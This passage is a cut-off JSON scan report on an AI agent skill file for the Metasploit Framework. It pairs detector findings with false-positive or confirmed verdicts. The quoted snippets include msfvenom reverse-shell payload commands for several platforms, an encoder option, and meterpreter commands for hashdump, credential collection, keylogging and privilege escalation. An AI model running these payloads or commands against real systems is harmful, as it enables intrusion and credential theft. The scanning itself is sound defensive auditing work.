shell.asp","category":"network","line_end":370,"severity":"medium","line_start":370},{"id":"network:SKILL.md:373:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war","category":"network","line_end":373,"severity":"medium","line_start":373},{"id":"network:SKILL.md:376:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk","category":"network","line_end":376,"severity":"medium","line_start":376},{"id":"network:SKILL.md:379:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5","category":"network","line_end":379,"severity":"medium","line_start":379},{"id":"network:SKILL.md:396:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msf6 exploit(multi/handler) > set LHOST 192.168.1.50","category":"network","line_end":396,"severity":"medium","line_start":396},{"id":"filesystem:SKILL.md:229:temp-directory-access","file":"SKILL.md","pattern":"Temp directory access","snippet":"meterpreter > download file.txt /tmp/","category":"filesystem","line_end":229,"severity":"medium","line_start":229},{"id":"filesystem:SKILL.md:230:temp-directory-access","file":"SKILL.md","pattern":"Temp directory access","snippet":"meterpreter > upload /tmp/tool.exe C:\\\\","category":"filesystem","line_end":230,"severity":"medium","line_start":230},{"id":"blocker:SKILL.md:251:keylogger-keywords","file":"SKILL.md","pattern":"Keylogger keywords","snippet":"# Screenshots and Keylogging","category":"blocker","line_end":251,"severity":"critical","line_start":251},{"id":"blocker:SKILL.md:441:keylogger-keywords","file":"SKILL.md","pattern":"Keylogger keywords","snippet":"| `keyscan_start` | Start keylogger |","category":"blocker","line_end":441,"severity":"critical","line_start":441},{"id":"blocker:SKILL.md:440:screen-capture-upload","file":"SKILL.md","pattern":"Screen capture upload","snippet":"| `screenshot` | Capture screen |","category":"blocker","line_end":440,"severity":"high","line_start":440},{"id":"blocker:SKILL.md:2:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"name: metasploit-framework","category":"blocker","line_end":2,"severity":"critical","line_start":2},{"id":"blocker:SKILL.md:24:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"# Metasploit Framework","category":"blocker","line_end":24,"severity":"critical","line_start":24},{"id":"blocker:SKILL.md:28:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation t","category":"blocker","line_end":28,"severity":"critical","line_start":28},{"id":"blocker:SKILL.md:34:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"# Metasploit must already be installed before using this skill.","category":"blocker","line_end":34,"severity":"critical","line_start":34},{"id":"blocker:SKILL.md:41:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"If you want database-backed features such as workspace tracking, initialize `msfdb` using the instru","category":"blocker","line_end":41,"severity":"critical","line_start":41},{"id":"blocker:SKILL.md:67:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"Launch and navigate the Metasploit console:","category":"blocker","line_end":67,"severity":"critical","line_start":67},{"id":"blocker:SKILL.md:99:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp","category":"blocker","line_end":99,"severity":"critical","line_start":99},{"id":"blocker:SKILL.md:168:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp","category":"blocker","line_end":168,"severity":"critical","line_start":168},{"id":"blocker:SKILL.md:196:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"windows/meterpreter/reverse_tcp","category":"blocker","line_end":196,"severity":"critical","line_start":196},{"id":"blocker:SKILL.md:197:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"linux/x86/meterpreter/bind_tcp","category":"blocker","line_end":197,"severity":"critical","line_start":197},{"id":"blocker:SKILL.md:200:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"# Meterpreter, VNC, shell","category":"blocker","line_end":200,"severity":"critical","line_start":200},{"id":"blocker:SKILL.md:205:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"windows/x64/meterpreter/reverse_tcp","category":"blocker","line_end":205,"severity":"critical","line_start":205},{"id":"blocker:SKILL.md:207:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"php/meterpreter/reverse_tcp","category":"blocker","line_end":207,"severity":"critical","line_start":207},{"id":"blocker:SKILL.md:208:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"java/meterpreter/reverse_https","category":"blocker","line_end":208,"severity":"critical","line_start":208},{"id":"blocker:SKILL.md:209:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"android/meterpreter/reverse_tcp","category":"blocker","line_end":209,"severity":"critical","line_start":209},{"id":"blocker:SKILL.md:212:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"### Phase 6: Meterpreter Session","category":"blocker","line_end":212,"severity":"critical","line_start":212},{"id":"blocker:SKILL.md:214:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"Work with Meterpreter post-exploitation:","category":"blocker","line_end":214,"severity":"critical","line_start":214},{"id":"blocker:SKILL.md:217:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"# After successful exploitation, you get Meterpreter prompt","category":"blocker","line_end":217,"severity":"critical","line_start":217},{"id":"blocker:SKILL.md:218:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter >","category":"blocker","line_end":218,"severity":"critical","line_start":218},{"id":"blocker:SKILL.md:221:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > sysinfo","category":"blocker","line_end":221,"severity":"critical","line_start":221},{"id":"blocker:SKILL.md:222:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > getuid","category":"blocker","line_end":222,"severity":"critical","line_start":222},{"id":"blocker:SKILL.md:223:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > getpid","category":"blocker","line_end":223,"severity":"critical","line_start":223},{"id":"blocker:SKILL.md:226:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > pwd","category":"blocker","line_end":226,"severity":"critical","line_start":226},{"id":"blocker:SKILL.md:227:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > ls","category":"blocker","line_end":227,"severity":"critical","line_start":227},{"id":"blocker:SKILL.md:228:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > cd C:\\\\Users","category":"blocker","line_end":228,"severity":"critical","line_start":228},{"id":"blocker:SKILL.md:229:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > download file.txt /tmp/","category":"blocker","line_end":229,"severity":"critical","line_start":229},{"id":"blocker:SKILL.md:230:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > upload /tmp/tool.exe C:\\\\","category":"blocker","line_end":230,"severity":"critical","line_start":230},{"id":"blocker:SKILL.md:233:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > ps","category":"blocker","line_end":233,"severity":"critical","line_start":233},{"id":"blocker:SKILL.md:234:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > migrate [PID]","category":"blocker","line_end":234,"severity":"critical","line_start":234},{"id":"blocker:SKILL.md:235:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > kill [PID]","category":"blocker","line_end":235,"severity":"critical","line_start":235},{"id":"blocker:SKILL.md:238:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > ipconfig","category":"blocker","line_end":238,"severity":"critical","line_start":238},{"id":"blocker:SKILL.md:239:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > netstat","category":"blocker","line_end":239,"severity":"critical","line_start":239},{"id":"blocker:SKILL.md:240:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > route","category":"blocker","line_end":240,"severity":"critical","line_start":240},{"id":"blocker:SKILL.md:241:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1","category":"blocker","line_end":241,"severity":"critical","line_start":241},{"id":"blocker:SKILL.md:244:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > getsystem","category":"blocker","line_end":244,"severity":"critical","line_start":244},{"id":"blocker:SKILL.md:245:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > getprivs","category":"blocker","line_end":245,"severity":"critical","line_start":245},{"id":"blocker:SKILL.md:248:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > hashdump","category":"blocker","line_end":248,"severity":"critical","line_start":248},{"id":"blocker:SKILL.md:249:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > run post/windows/gather/credentials/credential_collector","category":"blocker","line_end":249,"severity":"critical","line_start":249},{"id":"blocker:SKILL.md:252:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > screenshot","category":"blocker","line_end":252,"severity":"critical","line_start":252},{"id":"blocker:SKILL.md:253:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > keyscan_start","category":"blocker","line_end":253,"severity":"critical","line_start":253},{"id":"blocker:SKILL.md:254:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > keyscan_dump","category":"blocker","line_end":254,"severity":"critical","line_start":254},{"id":"blocker:SKILL.md:255:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > keyscan_stop","category":"blocker","line_end":255,"severity":"critical","line_start":255},{"id":"blocker:SKILL.md:258:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > shell","category":"blocker","line_end":258,"severity":"critical","line_start":258},{"id":"blocker:SKILL.md:261:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter >","category":"blocker","line_end":261,"severity":"critical","line_start":261},{"id":"blocker:SKILL.md:264:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > background","category":"blocker","line_end":264,"severity":"critical","line_start":264},{"id":"blocker:SKILL.md:321:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"# Or run directly from Meterpreter","category":"blocker","line_end":321,"severity":"critical","line_start":321},{"id":"blocker:SKILL.md:322:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"meterpreter > run post/windows/gather/hashdump","category":"blocker","line_end":322,"severity":"critical","line_start":322},{"id":"blocker:SKILL.md:355:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe","category":"blocker","line_end":355,"severity":"critical","line_start":355},{"id":"blocker:SKILL.md:358:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf","category":"blocker","line_end":358,"severity":"critical","line_start":358},{"id":"blocker:SKILL.md:361:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php","category":"blocker","line_end":361,"severity":"critical","line_start":361},{"id":"blocker:SKILL.md:364:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py","category":"blocker","line_end":364,"severity":"critical","line_start":364},{"id":"blocker:SKILL.md:367:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1","category":"blocker","line_end":367,"severity":"critical","line_start":367},{"id":"blocker:SKILL.md:370:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp","category":"blocker","line_end":370,"severity":"critical","line_start":370},{"id":"blocker:SKILL.md:373:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war","category":"blocker","line_end":373,"severity":"critical","line_start":373},{"id":"blocker:SKILL.md:376:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk","category":"blocker","line_end":376,"severity":"critical","line_start":376},{"id":"blocker:SKILL.md:379:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5","category":"blocker","line_end":379,"severity":"critical","line_start":379},{"id":"blocker:SKILL.md:395:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp","category":"blocker","line_end":395,"severity":"critical","line_start":395},{"id":"blocker:SKILL.md:404:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"[*] Meterpreter session 1 opened","category":"blocker","line_end":404,"severity":"critical","line_start":404},{"id":"blocker:SKILL.md:430:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"### Meterpreter Essential Commands","category":"blocker","line_end":430,"severity":"critical","line_start":430},{"id":"blocker:SKILL.md:475:metasploit-framework","file":"SKILL.md","pattern":"Metasploit framework","snippet":"- Modern AV/EDR may detect Metasploit payloads","category":"blocker","line_end":475,"severity":"critical","line_start":475},{"id":"blocker:SKILL.md:222:system-reconnaissance","file":"SKILL.md","pattern":"System reconnaissance","snippet":"meterpreter > getuid","category":"blocker","line_end":223,"severity":"low","line_start":222},{"id":"blocker:SKILL.md:223:system-reconnaissance","file":"SKILL.md","pattern":"System reconnaissance","snippet":"meterpreter > getpid","category":"blocker","line_end":225,"severity":"low","line_start":223},{"id":"blocker:SKILL.md:259:system-reconnaissance","file":"SKILL.md","pattern":"System reconnaissance","snippet":"C:\\Windows\\system32> whoami","category":"blocker","line_end":259,"severity":"low","line_start":259},{"id":"blocker:SKILL.md:375:system-reconnaissance","file":"SKILL.md","pattern":"System reconnaissance","snippet":"# Android APK","category":"blocker","line_end":375,"severity":"low","line_start":375},{"id":"blocker:SKILL.md:483:system-reconnaissance","file":"SKILL.md","pattern":"System reconnaissance","snippet":"- Avoid detection by monitoring systems","category":"blocker","line_end":483,"severity":"low","line_start":483},{"id":"blocker:SKILL.md:49:network-reconnaissance","file":"SKILL.md","pattern":"Network reconnaissance","snippet":"### Required Access","category":"blocker","line_end":50,"severity":"low","line_start":49},{"id":"blocker:SKILL.md:239:network-reconnaissance","file":"SKILL.md","pattern":"Network reconnaissance","snippet":"meterpreter > netstat","category":"blocker","line_end":239,"severity":"low","line_start":239},{"id":"blocker:SKILL.md:428:network-scanning-tools","file":"SKILL.md","pattern":"Network scanning tools","snippet":"| `db_nmap` | Run nmap with database |","category":"blocker","line_end":428,"severity":"high","line_start":428}],"finding_verdicts":[{"id":"external_commands:SKILL.md:33:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:37:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:41:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:69:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:86:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:92:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:118:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:124:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:145:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:151:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:184:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:190:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:210:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:216:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:267:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:273:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:306:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:312:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:347:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:353:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:386:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:392:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:408:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:416:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:417:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:418:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:419:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:420:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:421:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:422:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:423:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:424:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:425:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:426:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:427:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:428:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:434:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:435:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:436:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:437:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:438:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:439:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:440:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:441:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:442:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:443:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:444:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:448:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:464:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:490:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:491:ruby-shell-backtick-execution","reason":"The detector matched Markdown fences or inline code notation, not Ruby or shell backtick execution. No executable backtick expression exists at this location.","verdict":"false_positive","confidence":0.99},{"id":"external_commands:SKILL.md:366:powershell-invocation","reason":"Line 366 is a Markdown comment labeling a PowerShell payload example, not a PowerShell process invocation. The payload-generation risk is separately detected on line 367.","verdict":"false_positive","confidence":0.96},{"id":"external_commands:SKILL.md:490:sudo-privilege-escalation","reason":"The troubleshooting table explicitly instructs users to run `sudo msfdb init`. This requests privileged host changes and contradicts the earlier claim that privileged setup is unnecessary.","verdict":"confirmed","severity":"high","confidence":0.99},{"id":"network:SKILL.md:159:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:171:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:241:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:276:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:281:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:287:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:292:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:297:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:302:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:355:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:358:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:361:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:364:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:367:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:370:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:373:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate 